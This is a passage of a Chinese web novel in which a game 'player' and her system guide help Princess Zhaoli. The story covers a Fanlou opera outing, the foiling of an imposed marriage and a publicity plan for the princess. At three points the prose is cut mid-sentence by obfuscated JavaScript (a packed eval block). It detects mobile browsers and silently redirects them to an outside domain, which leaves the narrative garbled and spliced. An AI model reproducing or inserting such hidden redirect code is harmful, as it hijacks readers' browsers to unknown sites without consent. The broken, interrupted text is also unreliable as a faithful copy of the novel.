姜婋的心微微一紧,一股内疚顷刻间涌出,语气涩然道: “……照你这么说,其实我和皇帝老登也差不多。我们都是某种意义上在利用她。老皇帝利用她和亲,而我想利用她通关……但昭离却如此信任我,还把我当成了她心中重要的人。” 系统:“玩家,你与皇帝赵柟不同。你和昭离虽然目标不同,但你没有剥夺她的选择,更没有想伤害她。你带她跳脱出原小说的情节,帮助她掌控自己的命运。而皇帝只是把昭离当作和亲的工具,用宠爱掩饰控制,只为稳固自己的权利。” 姜婋还是低头不说话。 系统又道:“玩家,其实你不必追求「爱」的纯洁度,因为爱,并不是一种孤立存在的情感。” 姜婋破涕为笑:“系统,你都快超越人类了,还能说出这么哲理的话?” 系统的声音里仿佛多了几分人性:“本系统只是在观察人类,比如上一个副本的女主夏星澜,她真正渴望的并不是单纯的爱,而是被看见、被理解、被尊重。被当作一个完整的「人」去对待。” “这些原本应是人和人之间最基本的东西。但往往正是这些最基本的,却被遗忘了。” “于是人们便拔高了「爱」的层级,赋予它很多意义。但其实,看见、尊重、理解、信任……这些都是爱,爱并不是孤立的,限量发行的奢侈品。爱就在一言一行,一字一句之中。” 姜婋听完忽然恍然大悟,释怀道:“无论我在这个故事中是什么身份,男主也好,女配也罢,这都并不会改变我对女主的感情。我也不希望我们之间的感情,因为我成了男主角,反而被浪漫爱的规则所控制。浪漫爱世界不爱我,并不重要,只要昭离爱我就行了。” 她说罢,躺在床上,渐渐入眠。 系统沉默半晌:“只是这份「爱」也不知究竟是吉是凶,会如何改变故事的走向……” 展颜过了数日,姜婋的伤势在昭离的照顾下逐渐好转。 但因伤势而延误了行程,待她们抵达兴都,正值春日最盛之时。 兴都繁华锦绣,车水马龙,茶肆酒楼沿街而立,行人衣着华贵,熙熙攘攘。 姜婋站在主路中央,看哪里都觉得新鲜极了,她兴奋得像个初入世的孩童,眼睛亮晶晶地四处打量。 昭离瞧她人来疯的模样,语气中带着几分宠溺:“你才刚好些,莫要好了伤疤忘了疼。” “当然不会。” 姜婋嘿然一笑,她在西陲吹了五年风沙,如今终于踏入这锦绣繁华之地,怎能不兴奋? 她兴致勃勃地挎住昭离,笑盈盈道:“走吧,公主,咱们终于进城了!” 昭离莞尔,任由她拉着自己向前。 二人并肩而行,春风拂面,桃花纷飞,仿佛兴都已张开双臂,迎接她们的到来。 而新的篇章,才刚刚开始。 42.17 入城后,一行人走在大街上,只见彩旗花招迎风招展,泼墨大字写着:曹婆婆牛肉饼。 昭离忽然驻足,拉住姜婋的手:“你可还记得我们在船上说的,等到了兴都,我们要尝遍美食,不如今日便遂了心愿。” 姜婋眼睛一亮,正要应和,顾云铮却道:“公主,咱们方才返回兴都,理当即刻奏禀,入宫面圣。” 昭离轻叹:“我一旦回宫,便再难自由出入,今天恐怕是我最后的逍遥时日了。” 姜婋忙道:“哎呀,面圣不差一日,吃饭才是要紧事!” 顾云铮无奈,只得随行,暗中遣人护卫。 * 姜婋和昭离二人兴致勃勃地穿梭于街头巷尾,啖尽兴都美味,有曹婆婆牛肉饼、薛记羊肉饭,宋娘子的荔枝糕…… 姜婋吃的肚皮溜圆,打着饱嗝心想:看来旅行吃播可不是谁都能干的! 不知不觉间,几人已来到了赫赫有名的樊楼脚下。 昭离正要走进去,顾云铮警惕提醒:“公主,有水匪一事的前车之鉴,樊楼人多口杂,我们还是小心为上。” “顾将军多虑了,此处乃天子脚下,纵有宵小,也不敢轻举妄动。况且有将军与苍狼军精锐相护,还怕什么?” 既有公主发话,顾云铮也不再坚持,一行人来到樊楼。 甫一进入,姜婋便已震惊,这里雕梁画栋,食客如云。 一楼正厅中,高台矗立,戏曲声袅袅入耳,宛若仙境。 昭离挑了樊楼视野最佳的二楼雅间,顾云铮本想守在门外,不曾想昭离招呼道:“顾将军,请一同入座吧。” 顾云铮微怔,显然未料到这般礼遇:“怎敢劳公主相请。” 自那日,他因没管束好苍狼军惹怒公主后,便心存愧疚,生怕公主心怀芥蒂,近日来更是不敢僭越半分。 昭离见他迟疑,便道:“今日在樊楼,无公主,无将军,只有三位共同经历生死的患难之交。” 若是往日,姜婋定会让二人拉开距离,可眼下顾云铮已构不成威胁,她也邀请道:“哥,你就别推辞啦。” 顾云铮点头,一同入席。 昭离端起酒杯道:“这杯酒敬二位,西陲之时,我们三人协力杀宰牙、灭依兹、换银州,共赴生死一线。若非你们舍命相助,哪有今日的昭离?我先干为敬。” 说罢,她便喝了个涓滴不留。 顾云铮亦是一饮而尽。 姜婋仰头畅饮,旋即睁大双眼:“好酒!” 昭离轻笑:“这就是和亲当夜,你骗依兹人饮下的玉髓,如今这是真正的玉髓,不加‘作料’的玉髓!” 姜婋咂吧嘴道:“果然是骨髓都畅快了!” 三人放声大笑,往昔种种尽融杯中。 * 这时,一楼戏台之上,丝竹骤起,咿呀婉转。 一名华服男子踱步登场,高歌悲怆:“三载焦土风不定,祈天未见半分情。祭坛遍洒黄金露,换得人间苦哀声。” 忽然一袭素衣女子缓步而上,跪于高台,幽幽唱道: “身许浮生一片心,愿化微尘动天神。玉露不降人难度,惟愿苍穹起悲悯。” * 雅间内,姜婋望着台上,好奇问:“这出戏叫什么?” 只见昭离神色微变,答道:“《甘露记》,讲的正是当年媚皇后求雨之事。” 姜婋突然想起来,小说里确实在闪回里写过,媚皇后求雨这个情节。 顾云铮道:“末将虽久居西陲,也曾听闻,当年先皇后薨逝,兴都大旱,陛下屡次祭天,皆无济于事。最终乃是当年国子监祭酒之女——眉氏,自请入甘露观修行,替天下苍生求雨。” “正是。” 昭离向姜婋解释:“眉氏也就是如今的媚皇后,她以亡父名义请愿,入甘露观修行,为大昭百姓求雨。她吃素半年,终日虔诚祈求,竟真的降下甘露。” * 这时,一楼戏台上突然风云渐变,乐师用鼓声来表演雷声滚滚。 配角们齐声高呼:“圣女降雨!” 扮演媚皇后的女旦唱:“甘露降兮万民苏,愿守江山佑金炉。一心扶君平社稷,风雨同心佑苍庶。” 见此,姜婋心中一顿。 她本想回到兴都后,再让系统回溯第二卷的故事情节,如今有戏曲演绎,不如直接问昭离。 “那眉氏能封后,仅凭求雨之功吗?” 昭离道:“自是不能。不过父皇最信天命,司天监奏报,眉氏求雨之夜,紫微星动,凤鸣九天,是天降奇象。就连父皇最信任的张天师也说,眉氏乃皇后之命,若辅佐帝王,可佑大昭国运。” 姜婋嗤笑:“如此迷信之言,难道无人反对?” “眉氏的父亲当年乃是国子监祭酒,清流士林多出其门下,朝中自然有不少拥护。” 昭离轻叹:“再加之,那时我母后薨逝已三年,后位空悬已久,父皇本意立新后,奈何群臣各怀心思,迟迟未决。那场降雨,正好给了父皇一个顺理成章的理由。” 姜婋摩挲着酒杯:“这媚皇后还挺厉害的呀!” “是啊,甘露观位于兴都最高的山上,条件清苦,寻常女子确实难以忍受……” “我说的不是这个。” 姜婋若有所思:“求雨之事,若能预测天象,便可未卜先知。你们方才也说了,媚皇后的父亲是国子监祭酒,家里说不定就有关于天文的书籍,她若曾研读天文历法,未必不能精确推算。再者,甘露观位处皇城之巅,最宜观察星象。至于司天监和张天师嘛,只要是人,总有软肋可以控制……” 她抬眸看向昭离,昭离亦望着她,彼此心照不宣。 ——修行、求雨、入宫、封后,稳固权势,说不定这一切都在媚皇后的算计之中。 * 这时,一楼的舞台上,扮演众臣的老生山呼“吾皇万岁万岁万万岁”、“皇后千岁千岁千千岁”,至此戏曲落幕。 姜婋召来樊楼伙计,掷出银两,问道:“敢问这出戏可是日日上演?” 伙计接了银子殷勤道:“客官,这出《甘露计》最受欢迎,确实演的最多。” 姜婋笑意不变:“这戏我看腻了,帮我换一出新鲜的。” 伙计忙不迭应下。 关上雅间的门,姜婋思忖道:“这出戏能在樊楼上演,还最叫座,真是不简单。毕竟樊楼乃兴都最大酒楼,酒客最多,这里的戏唱什么,老百姓茶余饭后就会聊什么。一出戏,有时不仅仅是一出戏,也会影响人心,牵动朝局。公主,你说是吗?” 昭离眸光一亮,心中豁然明朗,媚皇后筹谋布局至此,真乃不容小觑。 * 这边厢,一楼戏台上,新一折戏曲开场,鼓乐声缓缓奏起。 红衣花旦携粉衣小旦缓步上台,花旦眉目如画,小旦低眉含笑,二人一登台,姜婋和昭离便被吸引住了。 小旦娇羞启唇,念白:“奴家愿与大娘结为姊妹,不知可肯俯从?” 花旦扬袖相揖,语声如琼玉铮鸣:“奴家正有此意。只是此番结盟,须与寻常不同,寻常结盟只结得今生,我们要把来世都结在里面。” 小旦相和:“今生为异姓姐妹,来世为同胞姊妹何如?” 花旦拂袖:“不好。难道我们世世都做女子不成?” 小旦歪头沉吟:“这等,今生为姊妹,来世为兄弟何如?” “也不好。” 花旦转而笑道: “姐妹兄弟终不似夫妻合肚肠,我和你来生做了夫妻罢!” 二人拉起手合唱:“便来生不效鸾凰,做一对蝴蝶飞飏,也消却今生账。” 唱罢,花旦戴上儒巾,顷刻间化作翩翩公子,与小旦执手拜堂成亲。 丝竹奏响,琴瑟和鸣,竟似真成一桩佳偶。 * 雅间之中,顾云铮手中茶盏猛地一倾,滚热茶水泼洒而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847217|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出,他惊声道:“这……这是什么戏?!” 昭离轻咳一声,面上泛起一抹不易察觉的红晕,低声答道:“这是李渔的《怜香伴》,我在湖州时看过……” 姜婋不仅仅看言情小说,纯爱百合也有涉猎,见昭离有些羞涩,便接过话头,大方介绍。 “这戏讲的是两位女子因诗文相识,互生倾慕,并设法长相厮守的故事。这一折名曰「盟谑」,讲的是女主之一崔笺云,新婚满月来佛寺进香,偶遇寄住在此的女主之二曹语花。两人一见如故,遂于佛前盟誓,愿来世结为夫妻。” 顾云铮霎时愣住:“自古婚配皆是男女,何来女子与女子拜堂?” 姜婋喝了口酒道:“哥,你未免太过狭隘。情之所钟,不拘形骸,又岂可拘泥于世俗藩篱?” 昭离闻言,目光不由得落在姜婋身上,点了点头,表示赞同。 姜婋继续道:“况且,李渔还有一出戏叫《男孟母教何三迁》,讲的便是男子与男子相慕之情。” 顾云铮瞠目结舌,脸上青红交错:“这……这成何体统!” 姜婋促狭一笑:“哥,你与刘副将不也是同进同出,形影不离,我倒瞧着,比咱俩的兄妹情还亲近几分呢!” 哐当—— 门口处,刘副将佩刀竟跌落在地,手忙脚乱地捡起。 顾云铮装忙喝酒,轻咳一声,故作镇定:“刘副将与我并肩作战,苍狼军上下皆生死与共,彼此交托后背,同赴沙场,皆为肝胆相照的袍泽之义。” 姜婋反问:“哥哥你既然能理解袍泽之义,为何不懂崔笺云和曹语花的闺中挚情?她们一见如故,同心相契,此情既非虚妄,也非亵渎。世间真挚之情,又怎能论尊卑高下?” “说得好!” 昭离脸上皆是赞许之色,与姜婋对视一眼。 * 这边厢,戏台之上,丝竹再起。 扮演崔笺云的花旦嗓音清脆,念道: “我虽不是真男子,但这等打扮起来,又看了你这娇滴滴的脸儿,不觉轻狂起来。爱杀人儿也,寸心空自痒。” 扮演曹语花的小旦眼波流转,念道: “你看她这等装扮起来,分明是车上的潘安,墙边的宋玉,世上哪有这等标致男子?我若嫁得这样一个丈夫,就死也甘心。” 崔笺云牵起曹语花的手,含笑道:“我如今嫁了范郎,你若肯也嫁范郎,我和你只分姊妹,不分大小,终朝唱和,半步不离,比夫妻更觉稠密。不知尊意若何?” 曹语花大喜唱到:“宵同梦,晓同妆,镜里花容并蒂芳。深闺步步相随唱,也是夫妻样……” * 雅间中,顾云铮震惊道:“她们为了能厮守竟要共嫁一夫?!” 姜婋唏嘘摇头:“是啊,真是便宜了这范郎。” 昭离举杯浅饮,她已分不清是玉髓醉人,还是戏曲惑人,竟有些微醺恍惚…… 待戏曲终了,顾云铮再也受不了,起身离开去醒酒。 姜婋见他走了,突然靠近昭离道:“有一件事,我们该向媚皇后学习。” 昭离回过神:“你是说……” 姜婋一指楼下:“这樊楼的戏台,可是个绝佳的宣传地段。” 昭离瞬间酒醒,似有所悟。 “你杀宰牙、灭依兹、换银州之事,在西陲已是无人不知,但兴都是个安乐窝,都城的百姓未曾见过战场的血雨腥风。若无人推波助澜,只怕百姓根本不知道,你做了多么了不起的事儿!” “你的意思是,将我这段和亲的经历,化作戏文传唱?” “正是!” 姜婋一拍桌案:“不仅是戏文,还有民间小报。我要让你的事迹传遍大昭,不,只要有人的地方,都该知晓昭离公主的赫赫功绩!” 昭离望着姜婋,心潮翻涌。 这世上竟有人会为自己倾尽全力,筹谋至此。 今生,得此知己,又有何求? 43.第 43 章 在兴都盘桓了一日之后,三人才在第二天沐浴更衣进皇宫面圣。 昭离心中雀跃,她终于可以见到父皇,向他证明,自己是他最骄傲的女儿。 她身着公主华服,但鬓间仍簪着那只鹿角簪,自那日杀死宰牙后,此物便不曾离身,仿若某种象征,牢牢地嵌进了她的命运。 在昭离和姜婋的设想中,此番带着宰牙首级,携城池之功凯旋,理应在金銮殿上,受君王隆恩,受百官景仰。 然而出乎意料的是,皇帝接见他们的地方并非正殿,而是他的寝宫。 几人随内侍穿过重重宫门,一路行至深宫。 姜婋明白这是一种有意识的、有计划的削弱公主的功绩,削弱女性地位的行为。 * 寝宫大门缓缓开启,殿内药香氤氲,混杂着一丝腐朽之气。 皇帝赵柟半倚在雕龙描凤的寝榻之上,额头覆着一方黄绸帕,脸色晦暗,唇角隐隐泛紫。 姜婋一眼便瞧出,这是服食丹药过量、金属中毒的症状。 榻旁,一女子正轻轻搅拌药汤,神色恬静而持重。她身着素色长裙,眉心点着一抹朱砂,少了艳丽,多了几分玄妙之气。 姜婋记起小说中的描述,意识到此人便是媚皇后了。 自皇帝赵柟求仙问道以来,大昭便由媚皇后代理朝政。 虽得到了权力,但她却没有摆起皇后的架势和排场,她深知自己的权势并非来自于美貌,而是来自“天意”。所以媚皇后很懂得怎样掩盖自己的美貌,而是用另外一种特点来获得自己想要的东西。 就像此刻,皇帝病重之时,她并未佩戴任何繁复的饰物,穿得也不隆重,与其说像皇后,不如说像一位高居云端、通晓天机的神女。 昭离、姜婋与顾云铮依礼下跪,殿中一时静谧无声。 忽然,一道破空之声袭来—— “啪!” 一颗弹珠精准地打在昭离的额心,泛起一抹红痕。 紧接着,殿中传来一阵孩童嬉笑:“打中啦!哈哈哈!” 嬉笑之人正是六皇子赵祐。 他不过十岁,正值顽劣年纪,此刻眼中满是得意。 当着皇帝的面,他也肆无忌惮的对昭离无礼道:“皇姐,你杀得了宰牙,却挡不住我的一颗弹珠呀!” 还未等皇帝开口,媚皇后开口道:“祐儿,莫要胡闹,还不向皇姐道歉!” 昭离也并未生气,只是揉了揉被弹珠打中的额角:“无妨,六弟一向顽皮。” 媚皇后吩咐道:“来人,将六皇子带下去。” 赵祐不依不饶,抱住皇帝的腿撒娇:“父皇最疼儿臣了,儿臣不想走。” 赵柟笑着摆摆手:“祐儿,该去读书了。” 赵祐这才不情不愿地退下,临走前还冲昭离做了个鬼脸。 姜婋看在眼里,心下冷笑。 这场闹剧绝非偶然,而是媚皇后精心设计的一幕。她在以皇子之尊敲打昭离,纵然她携功而反,但身在天家,依旧是以皇子为尊。 垂帘后,赵柟终于缓缓抬手,颤声道:“朕的好女儿……快过来让朕瞧瞧……” 昭离压着心中的激动和喜悦,上前道:“父皇,女儿回来了。” 赵柟拉住她的手:“好女儿,你便是用这双手,杀了宰牙?” 昭离颔首:“回父皇,正是。” 赵柟疲惫的面容上浮现一丝苍白的笑意:“好,做得好……” 未及他说下去,媚皇后已然接过话头:“自圣上接到顾将军的奏报,言公主手刃宰牙,换回银州,本宫与圣上无不震惊。只是,公主是如何做到的?” 这话中暗藏词锋,仿佛在质疑公主冒领军功。 昭离站起身来,不卑不亢地讲述事情始末,她声调清晰,言辞铿锵,描绘到和亲之夜帐中的惊险之处,更是说得绘声绘色,令人闻之动容。 甚至有许多细节连顾云铮都不知晓,更别说奏报中提及了。她讲了整整半个时辰,殿中无人打断。 昭离讲完之后,便命人抬上了宰牙的头颅。 她等了这么久,就是期待着这一刻,亲手将这颗头颅献给父皇,向他证明,她可以为父皇分忧,她是父皇最骄傲的女儿! 昭离缓缓打开木匣,只见宰牙的头颅静置其中,面容森冷,如沉睡般保存完好。 赵柟目光一凝,死死盯着那颗狰狞的首级,脸上的神情难以捉摸。 媚皇后蓦然惊呼,忙道:“圣上近日身子虚弱,这血腥之物还是快撤下去吧。” 姜婋分明看到,昭离眼中的光倏地暗淡。 她所期待的父皇的赞赏与肯定,并未出现。 这本应是一场群臣皆在的封赏大典,如今却成了一场寝宫内的家常闲话。她历经生死带回的战利品,也不过被人匆匆一瞥,便被抬了出去,真是可惜了回夏巫珠送的贺兰玄冰。 * 待木匣撤走后,媚皇后话锋一转:“原本拟定大办封赏,然先皇后忌日将至,圣上思念成疾,一时身体违和,实在无力操办,还望公主能体察圣上的苦心。” 明明是刻意削弱昭离的功绩,话语间却冠冕堂皇,甚至还搬出了先皇后,以孝道压人。昭离若再计较,反倒显得不敬生母了。 昭离行礼:“臣女远赴西陲,时刻挂念父皇,今日重回母国,再见父皇,便是此生大幸,那些虚礼确是不必在意。” 姜婋听罢,心中暗暗为昭离不平。 媚皇后故作迟疑道:“公主放心,封赏大典虽因故未设,但赏赐自不会有半分亏欠……只是,公主此番立下军功,可我大昭尚无公主因军功受封的先例,此事委实叫圣上与本宫为难……” 她看向皇帝,在赵柟点头后,方才说道:“然则,公主平定依兹,功在社稷,岂能不表?经陛下与本宫商议,特赐封地和黄金万两,彰平定依兹之功,自此可享亲王之礼。” 昭离叩谢:“多谢父皇,多谢娘娘。” 但还未等她站稳,媚皇后再度启唇道:“此次苍狼军功不可没,顾将军当受封镇国大将军。既然西陲无恙,顾将军不妨暂留兴都吧。” 顾云铮跪地谢恩:“卑职谢圣上隆恩,谢皇后娘娘恩典。” 忽地,媚皇后换了语调,似关切似随意地问:“久闻顾将军戍边多年,鲜少回京,竟不知将军如此一表人才,不知可曾婚配?” 顾云铮拱手道:“回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863832|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇后娘娘,卑职尚未婚配。” 媚皇后笑意更深:“将军父母为国捐躯,圣上与本宫念之已久,思来想去,想了个两全之策……” 她说着再次看向皇帝,赵柟微微颔首,似是点头许可,媚皇后这才说道:“圣上欲赐婚给公主与顾将军。” 此言一出,犹如惊雷! 昭离霎时愣在原地。 姜婋心下暗叹:好一记杀招! 方才给公主的恩赏,给顾将军的殊荣,在这道赐婚之下,全部都碾为齑粉。 至此公主困于家事,再难翻身。顾将军身为驸马,没收兵权。 她已顾不上礼节,当即出言阻止:“皇后娘娘,万万不可。” 媚皇后这才注意到她的存在,蛾眉微蹙:“为何?” 姜婋左思右想,忙在脑海中召唤系统,“系统,快帮我搜索拒绝赐婚的一百种方法!” 系统:“玩家请注意,你只能依据书中已有事实发展情节,不可胡编乱造。” 姜婋拧眉回忆:“我隐约记得书中某一张的彩蛋里,提到过顾云铮小时候好像有娃娃亲!” 系统:“已为玩家搜索相关彩蛋……” 殿内一时无声,所有人的目光都注视着姜婋。 只见她扑通跪地道:“回娘娘,家兄已有婚约。” 众人闻言再度一惊。 顾云铮也拧眉思索起来,自己何时有了婚约? 媚皇后问道:“顾将军可有此事,方才怎未听你提起?” 见顾云铮微愣,姜婋解释道:“兄长的婚约是还没出生的时候指腹为婚。” 顾云铮这才记起:“回禀圣上,皇后娘娘,家父早年间确实与一位世伯为卑职定下婚约,不过因西陲战乱,世伯的女儿刚出生便在战争中走散了,至今还未寻到……” 媚皇后道:“既然未寻到,那便不作数了。” 姜婋忙给顾云铮使了个眼色,顾云铮顷刻间明白了,若是真的赐婚,成了驸马,他就再也不能手握兵权。 顾云铮虽心悦公主,但为了父母留下的遗志,为了苍狼军,还是咬牙答道:“回禀圣上,娘娘,西陲军人最讲的就是信誉,况且世伯当年是为了保护我和妹妹,才导致女儿走失。我若弃这婚约不顾,便是背信弃义之人了。” 媚皇后不悦:“难道将军真要寻那失踪孤女一生?” 顾云铮道:“此生若可寻得,卑职定不负此约。况且卑职戍守边疆,致身大昭,怎敢先谈家世之乐?” 见赐婚不成,媚皇后面色一讪。 皇帝赵柟也突然咳嗽起来,示意皇后到此为止。 昭离上前一步:“既然这道赏赐作废,不如臣女向父皇讨一道赏赐。” 赵柟眯眼,警惕起来:“公主想要何物?” 昭离目光微转,落在姜婋身上:“此番平定依兹之功,顾将军的妹妹顾云筱功不可没。女儿想帮她讨一道恩赏,从今往后,她可自由出入皇宫,陪我读书解闷。” 闻言,姜婋心中微震,昭离竟想到了自己。 赵柟一听,竟是这般无足轻重的女儿家之事,便道:“朕允了。” 可唯有姜婋明白,这道请求有多么重要。 44.19 因皇上龙体欠安,这次召见匆匆结束。 得了那道恩旨,姜婋从此可自由出入宫闱。昭离心中暗喜,牵起她的手便往自己的寝宫朝华宫而去。 来到朝华宫,姜婋才明白,为何昭离说自己是皇帝最宠爱的女儿。 这老皇帝,还真是在利用昭离之前,给她灌了一口好蜜糖! 昭离一入寝宫,便阖上大门。 姜婋见她隐有不悦,说道:“你若心中有气,便发作出来。千万别忍着,对身体无益,毕竟你可是要成为母君的人,最要紧的就是身体!” 昭离淡然一笑:“我没有生气。毕竟父皇近日来身体不适,封赏大典办了也是劳民伤财。父皇还是心疼我的……” 姜婋叹了口气,不忍再多说什么,伸手揉了揉她额头上红肿的印记。 “这儿还疼吗?” “不疼,六弟总是爱用弹弓打人,我之前都被打了好多次了。” 姜婋眉头一皱:“那皇帝也不教训他吗?” “毕竟六弟还小。” “正因为小,更要好好教育,不然以后……” 话未说完,姜婋语锋一转:“我记得六皇子……不是媚皇后所出吧?” 昭离点头:“父皇子嗣不丰,或病弱,或夭折。” 姜婋暗忖,这老皇帝日日吞服丹药,子嗣怎能健壮? “如今尚存的皇子,唯有六皇子身子还算康健,但患有喘疾。他生母早逝,自幼在媚皇后膝下长大,皇后待他视如己出,早已认定他未来会被立为太子。” 姜婋想到小说里后来的发展,心中感慨这六皇子即便暂时康健,终究也逃不过天命…… 昭离继续介绍道:“还有三皇子赵祺,不过他腿有残疾,自古以来,相貌不端、身有残缺者断无问鼎之机。如此算来,六皇子无疑是储君的不二人选。” 姜婋冷笑:“他自知未来是太子,便愈发嚣张,今日之事,分明是给你一个下马威。不过你不用担心,你真正的敌人,并非六皇子,而是你的父皇。今日殿上,我瞧媚皇后开口之前,必要征得皇帝的同意,看来许多决策皆是你父皇的心意。” 昭离眼神微沉:“这次赐婚也是吗?” “当然。” 昭离皱眉:“我不懂,父皇为何忽然要给我赐婚?” “你本就是和亲公主,在旁人眼中早已许配他国。如今你载誉归来,军功加身,短时间内自然无人质疑你的清誉。但待战功淡去,天下人恐怕便要议论起你的贞洁。天家向来看重脸面,若能尽早将你嫁出,便可杜绝后患。” 昭离蹙眉:“但如今赐婚不成,日后肯定有人会拿我的名声大做文章,那可如何是好?” 姜婋眼珠一转:“既如此,便要让世人永远铭记你的功绩。你父皇将你的战功轻描淡写,我偏要让它扬名天下!” “你是说,借戏文与小报传扬此事?” 姜婋摇头:“戏文固然有用,却见效太慢。最直观的方式,是让天下人亲眼看见宰牙的头颅!唯有目睹那依兹王骇人的头颅,众人才能知道你经历过怎样的生死一线!” 昭离面色担忧:“可父皇会同意吗?今日殿上他都将宰牙的头颅速速撤下。” 姜婋笃定一笑:“殿上是给他看,可城墙上是给天下人看。自大昭开国以来,从未打败过依兹,此番大捷若载入史册,便是他皇帝赵柟的功绩,你父皇自然不会放过这重振国威的好机会!” * 果不其然,翌日,昭离便提出将宰牙首级悬于城门,以震慑四方。 赵柟早已将这功劳看做是他的,虽然媚皇后觉得此举不妥,但皇帝还是应允。 当日,城门外人山人海,百姓都想亲眼看看那传闻中的异族枭首。 有人叹服:“昭离公主真乃奇女子,竟能亲手斩杀依兹王!” 但也有流言四起,说公主出生之日天象不祥,她形似夜叉,生有獠牙,四手并生,极为可怖。 * 风言风语渐渐传入皇宫,昭离寻来姜婋,担心道:“如今满城皆说我是夜叉鬼,这该如何是好?” 姜婋哈哈大笑:“公主不必忧心,我住在驿站之中,一直关注着舆论方向,母夜叉之谈,不过是少数闲汉的醉语罢了。不过,有时候惧怕你也是好事,因为恐惧是一种很深刻的感情……” 昭离沉思片刻,问道:“大昭向来视女子乖顺柔弱,如今我却颠覆了他们的认知,所以他们惧怕了?” “不错。” 姜婋语气渐沉:“说那些谣言的都是心怀偏见的男人,他们惶恐女子有勇气、有力量,能执掌杀伐,反杀一切试图囚禁她们的枷锁。但你要相信,也有人因此对你心生敬仰,心怀希望。你若要成为母君,第一步,便是要改写世人对女子的偏见。” 昭离心绪激荡:“我明白了。” 姜婋扬眉一笑:“你放心,假以时日夜叉之谈定会烟消云散。我已命人撰写话本,今早方送来,墨迹还未干呢,你瞅瞅。” 她翻出几册话本,介绍道:“这本叫《和亲记》,是兴都知名的戏剧奇才撰写的。还有这本《银州换》,执笔之人有好几部知名戏剧傍身呢!还有这个《凤鸣西陲》……你且看看,写得如何?” 昭离翻阅几页,眉头微皱:“怎么杜撰的全是我与顾将军的风花雪月?明明你才更重要。” 姜婋拿过一本,翻看道:“我也还未来得及翻阅呢,他们写之前我都千叮咛万嘱咐了,这是昭离公主的故事,怎么还是硬生生给你配了个男主角……哎,估计这些写话本的人,只会写这些才子佳人的故事,根本就不懂你的真正光彩!我回去就让他们重写。” 昭离见她动怒,问道:“你也不愿见我与顾将军被编排成才子佳人的话本?” “自然不愿!”姜婋瞪眼道:“若传得多了,宫里再来一道赐婚诏书,岂不更麻烦?” 昭离点了点头,确实有这个隐患。 姜婋左思右想:“罢了,估计这些人只会写才子佳人的风月故事,还得是经历一切的我亲自出马才行!” 昭离来了兴趣:“好,我倒迫不及待想看看,你会如何描绘我们的故事。” 姜婋挠头一笑:“我没什么文才,最后恐怕还得劳烦公主修改。” 昭离点头:“那是自然。” * 姜婋离开皇宫,这段时间她与顾云铮暂住在官署驿站。 回到驿站房间,终于独处,她便在脑海中唤出系统。 “系统,你能不能以公主和我为原型,写一部戏曲本子?” 系统:“玩家,本系统暂时没有代写业务。” 姜婋坐在案边,以手支颐:“你当初不是还帮我,给罗曼蒂克酒店做过PPT吗?” 系统:“那不一样。玩家,公主想要的不是一部戏曲,而是想看你如何书写你们二人之间的故事。毕竟你现在可是本文的「男主角」。” “哎,你提这三个字我就闹心!” 姜婋拍案而起:“就像非得把取得成就的女性叫「先生」一样荒唐。「男主角」这三个字,对我来说简直就是侮辱!” 系统:“玩家,「男主角」不过是一个称呼,赋予它怎样的含义,由你来决定。换个角度想,你也能更专注于帮助女主生发出自己的人生之路了。” “说到这个——” 姜婋问道:“如今昭离提前两年回到兴都,情节早已和原文对不上了。按原小说设定,这两年她原本是跟顾云铮在西陲被迫日久生情,结果现在这段感情线直接报废,那接下来的故事该怎么发展?” 系统:“原小说中,兴都虽有支线情节,但因与主角无关,着墨极少。然牵一发而动全身,昭离若提前回朝,必然引发连锁反应。这段空白既是变数,也是转机。” 姜婋陷入沉思:“关键是,我该如何辅佐昭离称帝呢? ” 她转念一想,一个人要成为什么,最快捷的办法就是给自己设了一个榜样,看看她做了什么事情,对比、参照,学习、研究,终有一日你也会成为这样的人。 于是她朝系统道:“话本不用你写,那你能帮我查些资料吗?” 系统:“玩家,你需要何种资料?” 姜婋摩挲下巴道:“我想知道武则天是如何称帝?东汉窦太后、西汉吕后;宋朝的刘太后、高太后、曹太后如何掌权?还有清朝的慈禧太后、契丹萧太后的执政之道。总之,凡是中国历史上曾掌握权柄的女子,你都帮我搜罗过来,我想看看她们是如何走到当时的权力之位……” 系统:“正在为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874305|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩家搜索——” 须臾间,姜婋进入心流世界,360度环形屏幕亮起,古今女主执政史图徐徐展开。 姜婋笑道:“系统,你还真乃百科全书是也!” 系统:“承蒙夸奖,本系统使命即是持续学习。” 闻言,姜婋歪了歪头,觉得这句话有点耳熟,但也不甚在意,开始聚精会神研读资料。 * 